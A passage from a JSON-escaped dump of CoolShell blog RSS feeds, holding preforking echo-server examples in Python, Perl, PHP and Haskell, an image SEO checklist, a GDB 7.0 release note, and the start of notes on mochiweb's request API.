conn.makefile()\n                flo.write('Child %s echo&gt; ' % childpid)\n                flo.flush()\n                message = flo.readline()\n                flo.write(message)\n                flo.close()\n                conn.close()\n                print \"Child %s echo'd: %r\" % \\\n                          (childpid, message.strip())\n        except KeyboardInterrupt:\n            sys.exit()\n\n# Sit back and wait for all child processes to exit.\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry:\n    os.waitpid(-1, 0)\nexcept KeyboardInterrupt:\n    print \"\\nbailing\"\n    sys.exit()\n</pre>\n<h4>Perl</h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"perl\">#!/usr/bin/perl\nuse 5.010;\nuse strict;\n\n# simple preforking echo server in Perl\nuse Proc::Fork;\nuse IO::Socket::INET;\n\nsub strip { s/\\A\\s+//, s/\\s+\\z// for my @r = @_; @r }\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nmy $acceptor = IO::Socket::INET-&gt;new(\n    LocalPort =&gt; 4242,\n    Reuse     =&gt; 1,\n    Listen    =&gt; 10,\n) or die \"Couln't start server: $!\\n\";\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\nEND { $acceptor-&gt;close }\n\n# Fork you some child processes. The code after the run_fork block runs\n# in all process, but because the child block ends in an exit call, only\n# the parent executes the rest of the program. If a parent block were\n# specified here, it would be invoked in the parent only, and passed the\n# PID of the child process.\nfor ( 1 .. 3 ) {\n    run_fork { child {\n        while (1) {\n            my $socket = $acceptor-&gt;accept;\n            $socket-&gt;printflush( \"child $$ echo&gt; \" );\n            my $message = $socket-&gt;getline;\n            $socket-&gt;print( $message );\n            $socket-&gt;close;\n            say \"child $$ echo'd: '${\\strip $message}'\";\n        }\n        exit;\n    } }\n}\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\n$SIG{ 'INT' } = sub { print \"bailing\\n\"; exit };\n\n# Sit back and wait for all child processes to exit.\n1 while 0 &lt; waitpid -1, 0;\n</pre>\n<h4>PHP</h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"perl\">\n&lt;?\n/*\nSimple preforking echo server in PHP.\nRussell Beattie (russellbeattie.com)\n*/\n\n/* Allow the script to hang around waiting for connections. */\nset_time_limit(0);\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\n$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\nsocket_bind($socket,'localhost', 4242);\nsocket_listen($socket, 10);\n\npcntl_signal(SIGTERM, 'shutdown');\npcntl_signal(SIGINT, 'shutdown');\n\nfunction shutdown($signal){\n    global $socket;\n    socket_close($socket);\n    exit();\n}\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor($x = 1; $x &lt;= 3; $x++){\n   \n    $pid = pcntl_fork();\n   \n    # pcntl_fork() returns 0 in the child process and the child's\n    # process id in the parent. So if $pid == 0 then we're in\n    # the child process.\n    if($pid == 0){\n\n        $childpid = posix_getpid();\n       \n        echo \"Child $childpid listening on localhost:4242 \\n\";\n\n        while(true){\n            # This is where the magic happens. accept(2)\n            # blocks until a new connection is ready to be\n            # dequeued.\n            $conn = socket_accept($socket);\n\n            $message = socket_read($conn,1000,PHP_NORMAL_READ);\n           \n            socket_write($conn, \"Child $childpid echo&gt; $message\");\n       \n            socket_close($conn);\n       \n            echo \"Child $childpid echo'd: $message \\n\";\n       \n        }\n\n    }\n}\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry{\n\n    pcntl_waitpid(-1, $status);\n\n} catch (Exception $e) {\n\n    echo \"bailing \\n\";\n    exit();\n\n}</pre>\n<h4>Haskell</h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"haskell\">import Network\nimport Prelude hiding ((-))\nimport Control.Monad\nimport System.IO\nimport Control.Applicative\nimport System.Posix\nimport System.Exit\nimport System.Posix.Signals\n\nmain :: IO ()\nmain = with =&lt;&lt; (listenOn - PortNumber 4242) where\n\n  with socket = do\n    replicateM 3 - forkProcess work\n    wait\n\n    where\n    work = do\n      installHandler sigINT (Catch trap_int) Nothing\n      pid &lt;- show &lt;$&gt; getProcessID\n      puts - \"child \" ++ pid ++ \" accepting on shared socket (localhost:4242)\"\n     \n      forever - do\n        (h, _, _) &lt;- accept socket\n\n        let write   = hPutStr h\n            flush   = hFlush h\n            getline = hGetLine h\n            close   = hClose h\n\n        write - \"child \" ++ pid ++ \" echo&gt; \"\n        flush\n        message &lt;- getline\n        write - message ++ \"\\n\"\n        puts - \"child \" ++ pid ++ \" echo'd: '\" ++ message ++ \"'\"\n        close\n\n    wait = forever - do\n      ( const () &lt;$&gt; getAnyProcessStatus True True  ) <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">catch</code> const trap_exit\n\n    trap_int = exitImmediately ExitSuccess\n\n    trap_exit = do\n      puts \"\\nbailing\"\n      sClose socket\n      exitSuccess\n\n    puts = putStrLn\n\n  (-) = ($)\n  infixr 0 -\n\n</pre>\n<p>如果你知道更多的，请你告诉我们。（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1532.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>图片搜索引擎优化Checklist</title>\n\t\t<link>https://coolshell.cn/articles/1528.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1528.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 11 Oct 2009 03:17:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Checklist]]></category>\n\t\t<category><![CDATA[SEO]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1528</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，专业的搜索引擎优化SEO（Search Engine Optimizers）会让你的网页或文章能更多得被搜索并访问到。而图片的搜索优化则是这项技术中非常特...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1528.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1528.html\">图片搜索引擎优化Checklist</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"font-size: 12px; font-family: Arial, Helvetica, sans-serif;\">今天，专业的搜索引擎优化SEO（Search Engine Optimizers）会让你的网页或文章能更多得被搜索并访问到。而图片的搜索优化则是这项技术中非常特别的一部分，它可以让你的图片更容易地被人搜索到，比如：艺术图片，服务设计，或是家具等等。相信大家都知道图片远比文字更有吸引力，这是因为我们都知道——“一图胜千言”。</p>\n<p style=\"font-size: 12px; font-family: Arial, Helvetica, sans-serif;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1529\" title=\"Image SEO\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon.jpg\" alt=\"Image SEO\" width=\"490\" height=\"272\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon.jpg 490w, https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon-300x167.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon-360x200.jpg 360w, https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon-486x270.jpg 486w\" sizes=\"(max-width: 490px) 100vw, 490px\" /></a></p>\n<p>在搜索引擎的世界里，有一组有限的因素决定着图片的位置。下面是一个Checklist可以让你把你的图片搜索优化做得更好。</p>\n<p><span id=\"more-1528\"></span></p>\n<ul style=\"list-style-image: url(http://www.webceo.com/newsletter/images/new_s.png); text-align: justify;\">\n<li>首先，你的图片应该是你的网页的一部分，他们使用了相同的样式。例如：页面的Title，head和Body文本必需和图片一样告诉访问者相同的故事。</li>\n<li>在你的服务器上创建一个Images的目录，把你的图片都保存在那里。并且确认搜索引擎可以index这个目录。</li>\n<li>在图片的文件名上使用描述性关键字，使用连字符号分隔关键字，千万不要使用下划线。</li>\n<li>为图片的HTML中&lt;image&gt;标识中的alt属性提供一个简短的描述，你可以认为这是图片的tag，千万不要在alt属性中放入太多的关键字，就算是这些关键字都是相关的。</li>\n<li>可以考虑使用一个短的文本来设置&lt;image&gt;的title属性，其中可以包含关键字。</li>\n<li>在图片的周围可以配上详细的说明来描述这个图片。</li>\n<li>如果你的图片有链接，那么，其链接文本对于图片搜索的rank是相当有用的。</li>\n<li>另一方面，如果你的有其它的页面链接到了某一有重要图片的页面，那么，请创建 keyword-rich 链接文本到这一网页。</li>\n<li>尽量使用高分辨率的图片，如果可能的话，提供不同分辨率的图片。</li>\n<li>避免在Javascript里设置“点击看大图”的链接，Javascript会让搜索引擎导致难以索引的问题。</li>\n<li>检查你图片的缩略图尺寸。缩略图应该到少能让人看清是什么，不然，就算是搜索位置靠前，人们也不会点击。</li>\n<li>把照片存成 .JPG 文件，而其它简单的图片则存成 .GIF文件。搜索引擎会试图把GIF文件认为是256色的，而JPG是真彩色的。</li>\n<li>经常更新你你的图片，因为这是搜索引擎会经常关临并给高分的依据。</li>\n<li>另外，最好在你你的图片上加上水印，这样可以让人们对你的网站增加印象。但水印要恰到好处，不然反而令人生厌。</li>\n</ul>\n<p>文章：<a href=\"http://www.webceo.com/newsletter/2009/081009.html\" target=\"_blank\">来源</a></p>\n<p><!-- InstanceEndEditable --><script type=\"text/javascript\"></script><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-150x150.jpg\" alt=\"Mozilla的一个BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2936.html\" class=\"wp_rp_title\">Mozilla的一个BUG</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1528.html\">图片搜索引擎优化Checklist</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1528.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-37.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 37 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=37\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 30 Dec 2011 01:39:11 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>GDB 7.0 发布</title>\n\t\t<link>https://coolshell.cn/articles/1525.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1525.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 09 Oct 2009 08:39:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[GDB]]></category>\n\t\t<category><![CDATA[Reversable Debugging]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1525</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2009年10月06日，GDB7.0正式发布，新的版本你可以在这里下载。本次版本，不但有大家所关注的《GDB回溯调试技术》，同样还有其它大量的新特性，和对新平台...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1525.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.gnu.org/software/gdb/mascot/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"GDB: The GNU Project Debugger 吉祥物\" src=\"http://www.gnu.org/software/gdb/images/archer.jpg\" alt=\"\" width=\"200\" height=\"125\" /></a>2009年10月06日，GDB7.0正式发布，新的版本你可以在<a href=\"http://www.gnu.org/software/gdb/download/\" target=\"_blank\">这里下载</a>。本次版本，不但有大家所关注的《GDB<a href=\"https://coolshell.cn/articles/1502.html\" target=\"_blank\">回溯调试技术</a>》，同样还有其它大量的新特性，和对新平台的支持。</p>\n<p>新版的GDB7.0支持如下新的平台或配置：</p>\n<ul>\n<li>x86/x86_64 Darwin</li>\n<li>x86_64 MinGW</li>\n<li>Lattice Mico32</li>\n<li>x86/x86_64 DICOS</li>\n<li>S+core 3</li>\n<li>The remote stub now supports x86 Windows CE</li>\n</ul>\n<p>其主要的新加入的功能有：（看上去相当地高科技啊，很多术语都不知道怎么翻译，请注意后面的相关解释）</p>\n<ul>\n<li>Python 脚本调试</li>\n<li>回溯调试，调式过程记录并重演。</li>\n<li>不间隔调试。 Non-stop debugging</li>\n<li>并行调试。 Multi-architecture debugging</li>\n<li>多进程调试。Multi-inferior, multi-process debugging</li>\n</ul>\n<p><span id=\"more-1525\"></span></p>\n<blockquote><p><strong>注释：</strong></p>\n<ul>\n<li>Non-stop 的意思是，当我们在调试一个进程中的某一个或某一些线程时，可以让没有被调试的线程继续运行不停止。</li>\n<li>Multi-architecture在字面上理解是多层架构，但应该是关于并行方面的（请大家指正），比如MIPS或SPARC等并行编程方面的。</li>\n<li>Multi-inferior的意思是，你可以同时调试多个不同的进程。在某些情况下，这会更容易帮助我们了解程序的内部执行情况。</li>\n</ul>\n</blockquote>\n<p>当然，本版本也包括了下面的一些改进和补丁：</p>\n<p style=\"PADDING-LEFT: 30px; TEXT-ALIGN: left\">* GDB 为JIT 提供了一个编译接口<br />\n* Tracepoints 可以加上条件<br />\n* 支持多字节和宽字符<br />\n* 为&#8221;disassemble&#8221;新增加/r 和/m 参数<br />\n* 对共享库的自动获取<br />\n* 支持内联函数<br />\n* 新的远程协议包<br />\n* GDB 开始可以读取压缩调试片段<br />\n* 在Tru64平台下支持线程切换<br />\n* 支持Ada 任务切换<br />\n* gdbserver的新功能 ——GDB remote stub<br />\n* 一个新的命令，当有系统调用发生时可以停止正在运行的程序</p>\n<p style=\"TEXT-ALIGN: left\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"高科技：GDB回溯调试\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_title\">高科技：GDB回溯调试</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/3643.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"GDB中应该知道的几个调试方法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3643.html\" class=\"wp_rp_title\">GDB中应该知道的几个调试方法</a></li><li ><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"橡皮鸭程序调试法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_title\">橡皮鸭程序调试法</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"23,148,855,308,184,500\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_title\">23,148,855,308,184,500</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1525.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>mochiweb参数化模型Req相关功能</title>\n\t\t<link>https://coolshell.cn/articles/1516.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1516.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Wed, 30 Sep 2009 12:00:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Erlang]]></category>\n\t\t<category><![CDATA[Mochiweb]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1516</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文的笔记讲述如何从client请求中获取各种参数,如method, request path, headers, cookie等。 Mochiweb是Erla...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1516.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1516.html\">mochiweb参数化模型Req相关功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文的笔记讲述如何从client请求中获取各种参数,如method, request path, headers, cookie等。</p>\n<p>Mochiweb是Erlang实现的一个开源Web服务器，它设计的一个亮点就是他本身的Http请求的参数化模型。因此我们可以用OO的方式来理解它的相关用法。<br />\n它的实现在mochiweb_request模块.在mochiweb中,每个client请求其构造一个 Req 对象(注：这个“对象“只是便于理解的提法), Req 可以理解成 mochiweb_request 的一个参数化或实例化.<br />\n<span id=\"more-1516\"></span></p>\n<p>1.<span style=\"color: #339966\"><strong>Req:get(method)</strong></span><strong> </strong>-&gt; &#8216;OPTIONS&#8217; | &#8216;GET&#8217; | &#8216;HEAD&#8217; | &#8216;POST&#8217; | &#8216;PUT&#8217; | &#8216;DELETE&#8217; | &#8216;TRACE&#8217;.<br />\n获取Http请求的方式.</p>\n<p>2.<span style=\"color: #339966\"><strong>Req:get(raw_path)</strong> </span>-&gt; String().<br />\n获取raw_path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login?username=test#p就是这个raw_path.</p>\n<p>3.<span style=\"color: #339966\"><strong>Req:get(path)</strong></span><strong> </strong>-&gt; String().<br />\n获取path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login就是这个raw_path.</p>\n<p>4.<span style=\"color: #339966\"><strong>Req:parse_qs()</strong></span> -&gt; [{strng(), string()}].<br />\n获取get参数.比如 http://www.nextim.cn/session/login?username=test#p,则返回[{&#8220;username&#8221;,&#8221;test&#8221;}].</p>\n<p>5.<span style=\"color: #339966\"><strong>Req:parse_post()</strong></span> -&gt; [{strng(), string()}].<br />\n确保post数据类型为: application/x-www-form-urlencoded, 否则不要调用(其内部会调用Req:recv_body),返回值类似Req:parse_qs().</p>\n<p>6.<span style=\"color: #339966\"><strong>Req:get(peer)</strong></span><strong> </strong>-&gt; string().<br />\n返回值为client的ip</p>\n<p>7.<span style=\"color: #339966\"><strong>Req:get_header_value(Key)</strong></span> -&gt; undefined | string().<br />\n获取某个header,比如Key为&#8221;User-Agent&#8221;时，返回&#8221;Mozila&#8230;&#8230;.&#8221;</p>\n<p>8.<span style=\"color: #339966\"><strong>Req:get_primary_header_value(Key) </strong></span>-&gt; undefined | string().<br />\n获取http headers中某个key对应的主值(value以分号分割).<br />\n举例: 假设 Content-Type 为 application/x-www-form-urlencoded; charset=utf8,则<br />\nReq:get_header_value(&#8220;content-type&#8221;) 返回 application/x-www-form-urlencoded</p>\n<p>9.<span style=\"color: #339966\"><strong>Req:get(headers)</strong> </span>-&gt; dict().<br />\n获取所有headers<br />\n说明: 返回结果为stdlib/dict 数据结构,可以通过mochiweb_headers模块进行操作.<br />\n举例: 下面代码显示请求中所有headers:<br />\nHeaders = Req:get(headers),<br />\nlists:foreach(fun(Key, Value) -&gt;<br />\nio:format(&#8220;~p : ~p 